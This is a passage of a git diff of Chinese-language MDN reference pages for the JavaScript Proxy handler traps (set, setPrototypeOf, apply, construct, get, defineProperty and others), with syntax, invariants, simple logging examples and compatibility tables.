比如:假设有一段代码执行 obj.name = "jen"obj 不是一个 proxy,且自身不含 name 属性,但是它的原型链上有一个 proxy,那么,那个 proxy 的 set() 处理器会被调用,而此时,obj 会作为 receiver 参数传进来。

-
-
-
- -

返回值

- -

set() 方法应当返回一个布尔值。

- -
    -
  • 返回 true 代表属性设置成功。
  • -
  • 在严格模式下,如果 set() 方法返回 false,那么会抛出一个 {{jsxref("TypeError")}} 异常。
  • -
- -

描述

- -

handler.set() 方法用于拦截设置属性值的操作。

- -

拦截

- -

该方法会拦截目标对象的以下操作:

- -
    -
  • 指定属性值:proxy[foo] = barproxy.foo = bar
  • -
  • 指定继承者的属性值:Object.create(proxy)[foo] = bar
  • -
  • {{jsxref("Reflect.set()")}}
  • -
- -

约束

- -

如果违背以下的约束条件,proxy 会抛出一个 {{jsxref("TypeError")}} 异常:

- -
    -
  • 若目标属性是一个不可写及不可配置的数据属性,则不能改变它的值。
  • -
  • 如果目标属性没有配置存储方法,即 [[Set]] 属性的是 undefined,则不能设置它的值。
  • -
  • 在严格模式下,如果 set() 方法返回 false,那么也会抛出一个 {{jsxref("TypeError")}} 异常。
  • -
- -

示例

- -

以下代码演示如何捕获属性的设置操作。

- -
var p = new Proxy({}, {
-  set: function(target, prop, value, receiver) {
-    target[prop] = value;
-    console.log('property set: ' + prop + ' = ' + value);
-    return true;
-  }
-})
-
-console.log('a' in p);  // false
-
-p.a = 10;               // "property set: a = 10"
-console.log('a' in p);  // true
-console.log(p.a);       // 10
- -

规范

- - - - - - - - - - - - -
规范
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.Proxy.handler.set")}}

- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Reflect.set()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/setprototypeof/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/setprototypeof/index.html deleted file mode 100644 index 9d88cd2593..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/setprototypeof/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: handler.setPrototypeOf() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/setPrototypeOf -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf ---- -
{{JSRef}}
- -

handler.setPrototypeOf() 方法主要用来拦截 {{jsxref("Object.setPrototypeOf()")}}.

- -

语法

- -
var p = new Proxy(target, {
-  setPrototypeOf: function(target, prototype) {
-  }
-});
-
- -

参数

- -

以下参数传递给 setPrototypeOf 方法. 

- -
-
target
-
被拦截目标对象.
-
prototype
-
对象新原型或为null.
-
- -

返回值

- -

如果成功修改了[[Prototype]]setPrototypeOf 方法返回 true,否则返回 false.

- -

描述

- -

这个 handler.setPrototypeOf 方法用于拦截 {{jsxref("Object.setPrototypeOf()")}}.

- -

拦截

- -

这个方法可以拦截以下操作:

- -
    -
  • {{jsxref("Object.setPrototypeOf()")}}
  • -
  • {{jsxref("Reflect.setPrototypeOf()")}}
  • -
- -

Invariants

- -

如果违反了下列规则,则proxy将抛出一个{{jsxref("TypeError")}}:

- -
    -
  • 如果 target 不可扩展, 原型参数必须与Object.getPrototypeOf(target) 的值相同.
  • -
- -

示例

- -

如果你不想为你的对象设置一个新的原型,你的handler's的setPrototypeOf方法可以返回false,也可以抛出异常。

- -

The former approach means that any operation that performs such mutation, that throws an exception on failure to mutate, will have to create the exception itself.  For example, {{jsxref("Object.setPrototypeOf()")}} will create and throw a TypeError itself.  If the mutation is performed by an operation that doesn't ordinarily throw in case of failure, such as {{jsxref("Reflect.setPrototypeOf()")}}, no exception will be thrown.

- -
var handlerReturnsFalse = {
-    setPrototypeOf(target, newProto) {
-        return false;
-    }
-};
-
-var newProto = {}, target = {};
-
-var p1 = new Proxy(target, handlerReturnsFalse);
-Object.setPrototypeOf(p1, newProto); // throws a TypeError
-Reflect.setPrototypeOf(p1, newProto); // returns false
-
- -

The latter approach will cause any operation that attempts to mutate, to throw.  This approach is required if you want even non-throwing operations to throw on failure, or you want to throw a custom exception value.

- -
var handlerThrows = {
-    setPrototypeOf(target, newProto) {
-        throw new Error('custom error');
-    }
-};
-
-var newProto = {}, target = {};
-
-var p2 = new Proxy(target, handlerThrows);
-Object.setPrototypeOf(p2, newProto); // throws new Error("custom error")
-Reflect.setPrototypeOf(p2, newProto); // throws new Error("custom error")
- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}{{Spec2('ESDraft')}} 
- -

Browser compatibility

- -
- - -

{{Compat("javascript.builtins.Proxy.handler.setPrototypeOf")}}

-
- -

See also

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.setPrototypeOf()")}}
  • -
  • {{jsxref("Reflect.setPrototypeOf()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html new file mode 100644 index 0000000000..62b8b67f5f --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html @@ -0,0 +1,117 @@ +--- +title: handler.apply() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply +tags: + - ECMAScript6 + - JavaScript + - Method + - Proxy +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply +--- +
{{JSRef}}
+ +

handler.apply() 方法用于拦截函数的调用。

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}
+ + + +

语法

+ +
var p = new Proxy(target, {
+  apply: function(target, thisArg, argumentsList) {
+  }
+});
+
+ +

参数

+ +

以下是传递给apply方法的参数,this上下文绑定在handler对象上.

+ +
+
target
+
目标对象(函数)。
+
thisArg
+
被调用时的上下文对象。
+
argumentsList
+
被调用时的参数数组。
+
+ +

返回值

+ +

apply方法可以返回任何值。

+ +

描述

+ +

handler.apply 方法用于拦截函数的调用。

+ +

拦截

+ +

该方法会拦截目标对象的以下操作:

+ +
    +
  • proxy(...args)
  • +
  • {{jsxref("Function.prototype.apply()")}} 和 {{jsxref("Function.prototype.call()")}}
  • +
  • {{jsxref("Reflect.apply()")}}
  • +
+ +

约束

+ +

如果违反了以下约束,代理将抛出一个TypeError:

+ +

target必须是可被调用的。也就是说,它必须是一个函数对象。

+ +

示例

+ +

以下代码演示如何捕获函数的调用。

+ +
var p = new Proxy(function() {}, {
+  apply: function(target, thisArg, argumentsList) {
+    console.log('called: ' + argumentsList.join(', '));
+    return argumentsList[0] + argumentsList[1] + argumentsList[2];
+  }
+});
+
+console.log(p(1, 2, 3)); // "called: 1, 2, 3"
+                         // 6
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("javascript.builtins.Proxy.handler.apply")}}

+
+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Function.prototype.apply")}}
  • +
  • {{jsxref("Function.prototype.call")}}
  • +
  • {{jsxref("Reflect.apply()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html new file mode 100644 index 0000000000..209e9752e3 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html @@ -0,0 +1,130 @@ +--- +title: handler.construct() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct +--- +
{{JSRef}}
+ +

handler.construct() 方法用于拦截{{jsxref("Operators/new", "new")}} 操作符. 为了使new操作符在生成的Proxy对象上生效,用于初始化代理的目标对象自身必须具有[[Construct]]内部方法(即 new target 必须是有效的)。

+ +

{{EmbedInteractiveExample("pages/js/proxyhandler-construct.html", "taller")}}

+ +

语法

+ +
var p = new Proxy(target, {
+  construct: function(target, argumentsList, newTarget) {
+  }
+});
+
+ +

参数

+ +

下面的参数将会传递给construct方法,this绑定在handler上。

+ +
+
target
+
目标对象。
+
argumentsList
+
constructor的参数列表。
+
newTarget
+
最初被调用的构造函数,就上面的例子而言是p。
+
+ +

返回值

+ +

construct 方法必须返回一个对象。

+ +

描述

+ +

handler.construct() 方法用于拦截 {{jsxref("Operators/new", "new")}}操作符。

+ +

拦截

+ +

该拦截器可以拦截以下操作:

+ +
    +
  • new proxy(...args)
  • +
  • {{jsxref("Reflect.construct()")}}
  • +
+ +

约束

+ +

如果违反以下约定,代理将会抛出错误 {{jsxref("TypeError")}}:

+ +
    +
  • 必须返回一个对象.
  • +
+ +

示例

+ +

下面代码演示如何拦截 {{jsxref("Operators/new", "new")}} 操作。

+ +
var p = new Proxy(function() {}, {
+  construct: function(target, argumentsList, newTarget) {
+    console.log('called: ' + argumentsList.join(', '));
+    return { value: argumentsList[0] * 10 };
+  }
+});
+
+console.log(new p(1).value); // "called: 1"
+                             // 10
+
+ +

下面的代码违反了约定.

+ +
var p = new Proxy(function() {}, {
+  construct: function(target, argumentsList, newTarget) {
+    return 1;
+  }
+});
+
+new p(); // TypeError is thrown
+
+ +

下面的代码未能正确的初始化Proxy。Proxy初始化时,传给它的target 必须具有一个有效的constructor供new操作符调用。

+ +
var p = new Proxy({}, {
+  construct: function(target, argumentsList, newTarget) {
+    return {};
+  }
+});
+
+new p(); // TypeError is thrown, "p" is not a constructor
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容性

+ +
{{Compat("javascript.builtins.Proxy.handler.construct")}}
+ +
 
+ +

相关主题

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Operators/new", "new")}} operator.
  • +
  • {{jsxref("Reflect.construct()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html new file mode 100644 index 0000000000..9912e043a0 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html @@ -0,0 +1,181 @@ +--- +title: handler.defineProperty() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/defineProperty +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty +--- +
{{JSRef}}
+ +

handler.defineProperty() 用于拦截对对象的 {{jsxref("Object.defineProperty()")}} 操作。

+ +

语法

+ +
var p = new Proxy(target, {
+  defineProperty: function(target, property, descriptor) {
+  }
+});
+
+ +

参数

+ +

下列参数将会被传递给 defineProperty 方法。 this 绑定在 handler 对象上。

+ +
+
target
+
目标对象。
+
property
+
待检索其描述的属性名。
+
descriptor
+
待定义或修改的属性的描述符。
+
+ +

返回值

+ +

defineProperty 方法必须以一个 {{jsxref("Boolean")}} 返回,表示定义该属性的操作成功与否。

+ +

描述

+ +

handler.defineProperty() 用于拦截对对象的 {{jsxref("Object.defineProperty()")}} 操作。

+ +

拦截

+ +

该方法会拦截目标对象的以下操作 :

+ +
    +
  • {{jsxref("Object.defineProperty()")}}
  • +
  • {{jsxref("Reflect.defineProperty()")}}
  • +
  • {{jsxref("proxy.property='value'")}}
  • +
+ +

不变量

+ +

如果违背了以下的不变量,proxy会抛出 {{jsxref("TypeError")}}:

+ +
    +
  • 如果目标对象不可扩展, 将不能添加属性。
  • +
  • 不能添加或者修改一个属性为不可配置的,如果它不作为一个目标对象的不可配置的属性存在的话。
  • +
  • 如果目标对象存在一个对应的可配置属性,这个属性可能不会是不可配置的。
  • +
  • 如果一个属性在目标对象中存在对应的属性,那么 Object.defineProperty(target, prop, descriptor) 将不会抛出异常。
  • +
  • 在严格模式下, false 作为 handler.defineProperty 方法的返回值的话将会抛出 {{jsxref("TypeError")}} 异常.
  • +
+ +

示例

+ +

以下代码演示如何拦截对目标对象的 {{jsxref("Object.defineProperty()")}} 操作。

+ +
var p = new Proxy({}, {
+  defineProperty: function(target, prop, descriptor) {
+    console.log('called: ' + prop);
+    return true;
+  }
+});
+
+var desc = { configurable: true, enumerable: true, value: 10 };
+Object.defineProperty(p, 'a', desc); // "called: a"
+
+ +

当调用 {{jsxref("Object.defineProperty()")}} 或者 {{jsxref("Reflect.defineProperty()")}},传递给 definePropertydescriptor   有一个限制 - 只有以下属性才有用,非标准的属性将会被无视 :

+ +
    +
  • enumerable
  • +
  • configurable
  • +
  • writable
  • +
  • value
  • +
  • get
  • +
  • set
  • +
+ +
var p = new Proxy({}, {
+  defineProperty(target, prop, descriptor) {
+    console.log(descriptor);
+    return Reflect.defineProperty(target, prop, descriptor);
+  }
+});
+
+Object.defineProperty(p, 'name', {
+  value: 'proxy',
+  type: 'custom'
+});  // { value: 'proxy' }
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.defineProperty()")}}
  • +
  • {{jsxref("Reflect.defineProperty()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html new file mode 100644 index 0000000000..6cb4255755 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html @@ -0,0 +1,149 @@ +--- +title: handler.deleteProperty() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty +--- +
{{JSRef}}
+ +

handler.deleteProperty() 方法用于拦截对对象属性的 {{jsxref("Operators/delete", "delete")}} 操作。

+ +

语法

+ +
var p = new Proxy(target, {
+  deleteProperty: function(target, property) {
+  }
+});
+
+ +

参数

+ +

deleteProperty 方法将会接受以下参数。 this 被绑定在 handler上。

+ +
+
target
+
目标对象。
+
property
+
待删除的属性名。
+
+ +

返回值

+ +

deleteProperty 必须返回一个 {{jsxref("Boolean")}} 类型的值,表示了该属性是否被成功删除。

+ +

描述

+ +

handler.deleteProperty() 方法可以拦截 {{jsxref("Operators/delete", "delete")}} 操作。

+ +

拦截

+ +

该方法会拦截以下操作:

+ +
    +
  • 删除属性: delete proxy[foo]delete proxy.foo
  • +
  • {{jsxref("Reflect.deleteProperty()")}}
  • +
+ +

不变量

+ +

如果违背了以下不变量,proxy 将会抛出一个 {{jsxref("TypeError")}}:

+ +
    +
  • 如果目标对象的属性是不可配置的,那么该属性不能被删除。
  • +
+ +

示例

+ +

以下代码演示了对 {{jsxref("Operators/delete", "delete")}} 操作的拦截。

+ +
var p = new Proxy({}, {
+  deleteProperty: function(target, prop) {
+    console.log('called: ' + prop);
+    return true;
+  }
+});
+
+delete p.a; // "called: a"
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Operators/delete", "delete")}} 操作符
  • +
  • {{jsxref("Reflect.deleteProperty()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html new file mode 100644 index 0000000000..14a350436a --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html @@ -0,0 +1,177 @@ +--- +title: handler.get() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/get +tags: + - ECMAScript6 + - JavaScript + - Method + - Proxy +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get +--- +
{{JSRef}}
+ +

handler.get() 方法用于拦截对象的读取属性操作。

+ +

语法

+ +
var p = new Proxy(target, {
+  get: function(target, property, receiver) {
+  }
+});
+
+ +

参数

+ +

以下是传递给get方法的参数,this上下文绑定在handler对象上.

+ +
+
target
+
目标对象。
+
property
+
被获取的属性名。
+
receiver
+
Proxy或者继承Proxy的对象
+
+ +

返回值

+ +

get方法可以返回任何值。

+ +

描述

+ +

handler.get 方法用于拦截对象的读取属性操作。

+ +

拦截

+ +

该方法会拦截目标对象的以下操作:

+ +
    +
  • 访问属性: proxy[foo]和 proxy.bar
  • +
  • 访问原型链上的属性: Object.create(proxy)[foo]
  • +
  • {{jsxref("Reflect.get()")}}
  • +
+ +

约束

+ +

如果违背了以下的约束,proxy会抛出 {{jsxref("TypeError")}}:

+ +
    +
  • 如果要访问的目标属性是不可写以及不可配置的,则返回的值必须与该目标属性的值相同。
  • +
  • 如果要访问的目标属性没有配置访问方法,即get方法是undefined的,则返回值必须为undefined。
  • +
+ +

示例

+ +

以下代码演示如何拦截属性值的读取操作。

+ +
var p = new Proxy({}, {
+  get: function(target, prop, receiver) {
+    console.log("called: " + prop);
+    return 10;
+  }
+});
+
+console.log(p.a); // "called: a"
+                  // 10
+
+ +

以下代码演示违反约束的情况。

+ +
var obj = {};
+Object.defineProperty(obj, "a", {
+  configurable: false,
+  enumerable: false,
+  value: 10,
+  writable: false
+});
+
+var p = new Proxy(obj, {
+  get: function(target, prop) {
+    return 20;
+  }
+});
+
+p.a; //会抛出TypeError
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Reflect.get()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html new file mode 100644 index 0000000000..470b2c6ad9 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html @@ -0,0 +1,168 @@ +--- +title: handler.getOwnPropertyDescriptor() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor +--- +
{{JSRef}}
+ +

handler.getOwnPropertyDescriptor() 方法是 {{jsxref("Object.getOwnPropertyDescriptor()")}}  的钩子。

+ +

语法

+ +
var p = new Proxy(target, {
+  getOwnPropertyDescriptor: function(target, prop) {
+  }
+});
+
+ +

参数

+ +

下列参数会被传入 getOwnPropertyDescriptor 方法中。这是绑定到handler上。 

+ +
+
target
+
目标对象。
+
prop
+
返回属性名称的描述。
+
+ +

返回值

+ +

getOwnPropertyDescriptor 方法必须返回一个 object 或 undefined

+ +

描述

+ +

handler.getOwnPropertyDescriptor() 方法是 {{jsxref("Object.getOwnPropertyDescriptor()")}} 的陷阱。

+ +

拦截

+ +

这个陷阱可以拦截这些操作:

+ +
    +
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
  • +
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
  • +
+ +

不变量

+ +

如果下列不变量被违反,代理将抛出一个 {{jsxref("TypeError")}}:

+ +
    +
  • getOwnPropertyDescriptor 必须返回一个 object 或 undefined
  • +
  • 如果属性作为目标对象的不可配置的属性存在,则该属性无法报告为不存在。
  • +
  • 如果属性作为目标对象的属性存在,并且目标对象不可扩展,则该属性无法报告为不存在。
  • +
  • 如果属性不存在作为目标对象的属性,并且目标对象不可扩展,则不能将其报告为存在。
  • +
  • 属性不能被报告为不可配置,如果它不作为目标对象的自身属性存在,或者作为目标对象的可配置的属性存在。
  • +
  • Object.getOwnPropertyDescriptor(target)的结果可以使用 Object.defineProperty 应用于目标对象,也不会抛出异常。
  • +
+ +

示例

+ +

以下是 {{jsxref("Object.getOwnPropertyDescriptor()")}} 的代码陷阱:

+ +
var p = new Proxy({ a: 20}, {
+  getOwnPropertyDescriptor: function(target, prop) {
+    console.log('called: ' + prop);
+    return { configurable: true, enumerable: true, value: 10 };
+  }
+});
+
+console.log(Object.getOwnPropertyDescriptor(p, 'a').value); // "called: a"
+                                                            // 10
+
+ +

以下代码则违反了不变量。

+ +
var obj = { a: 10 };
+Object.preventExtensions(obj);
+var p = new Proxy(obj, {
+  getOwnPropertyDescriptor: function(target, prop) {
+    return undefined;
+  }
+});
+
+Object.getOwnPropertyDescriptor(p, 'a'); // TypeError is thrown
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
  • +
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html new file mode 100644 index 0000000000..215d2d9646 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html @@ -0,0 +1,141 @@ +--- +title: handler.getPrototypeOf() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getPrototypeOf +tags: + - ECMAScript 2015 + - JavaScript + - Method + - Proxy + - 方法 +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf +--- +
{{JSRef("Global_Objects", "Proxy")}}
+ +

handler.getPrototypeOf() 是一个代理(Proxy)方法,当读取代理对象的原型时,该方法就会被调用。

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-getprototypeof.html", "taller")}}
+ + + +

语法

+ +
const p = new Proxy(obj, {
+  getPrototypeOf(target) {
+  ...
+  }
+});
+
+ +

参数

+ +

getPrototypeOf 方法被调用时,this 指向的是它所属的处理器对象。

+ +
+
target
+
被代理的目标对象。
+
+ +

返回值

+ +

getPrototypeOf 方法的返回值必须是一个对象或者 null

+ +

描述

+ +

在 JavaScript 中,下面这五种操作(方法/属性/运算符)可以触发 JS 引擎读取一个对象的原型,也就是可以触发 getPrototypeOf() 代理方法的运行:

+ +
    +
  • {{jsxref("Object.getPrototypeOf()")}}
  • +
  • {{jsxref("Reflect.getPrototypeOf()")}}
  • +
  • {{jsxref("Object/proto", "__proto__")}}
  • +
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
  • +
  • {{jsxref("Operators/instanceof", "instanceof")}}
  • +
+ +

如果遇到了下面两种情况,JS 引擎会抛出 {{jsxref("TypeError")}} 异常:

+ +
    +
  • getPrototypeOf() 方法返回的不是对象也不是 null。
  • +
  • 目标对象是不可扩展的,且 getPrototypeOf() 方法返回的原型不是目标对象本身的原型。
  • +
+ +

示例

+ +

基本用法

+ +
var obj = {};
+var proto = {};
+var handler = {
+    getPrototypeOf(target) {
+        console.log(target === obj);   // true
+        console.log(this === handler); // true
+        return proto;
+    }
+};
+
+var p = new Proxy(obj, handler);
+console.log(Object.getPrototypeOf(p) === proto);    // true
+
+ +

5 种触发 getPrototypeOf 代理方法的方式

+ +
var obj = {};
+var p = new Proxy(obj, {
+    getPrototypeOf(target) {
+        return Array.prototype;
+    }
+});
+console.log(
+    Object.getPrototypeOf(p) === Array.prototype,  // true
+    Reflect.getPrototypeOf(p) === Array.prototype, // true
+    p.__proto__ === Array.prototype,               // true
+    Array.prototype.isPrototypeOf(p),              // true
+    p instanceof Array                             // true
+);
+
+ +

两种情况下的异常

+ +
var obj = {};
+var p = new Proxy(obj, {
+    getPrototypeOf(target) {
+        return "foo";
+    }
+});
+Object.getPrototypeOf(p); // TypeError: "foo" is not an object or null
+
+var obj = Object.preventExtensions({});
+var p = new Proxy(obj, {
+    getPrototypeOf(target) {
+        return {};
+    }
+});
+Object.getPrototypeOf(p); // TypeError: expected same prototype value
+
+ +

规范

+ + + + + + + + + + +
规范
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.Proxy.handler.getPrototypeOf")}}

+ +

参见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.getPrototypeOf()")}}
  • +
  • {{jsxref("Reflect.getPrototypeOf()")}}
  • +
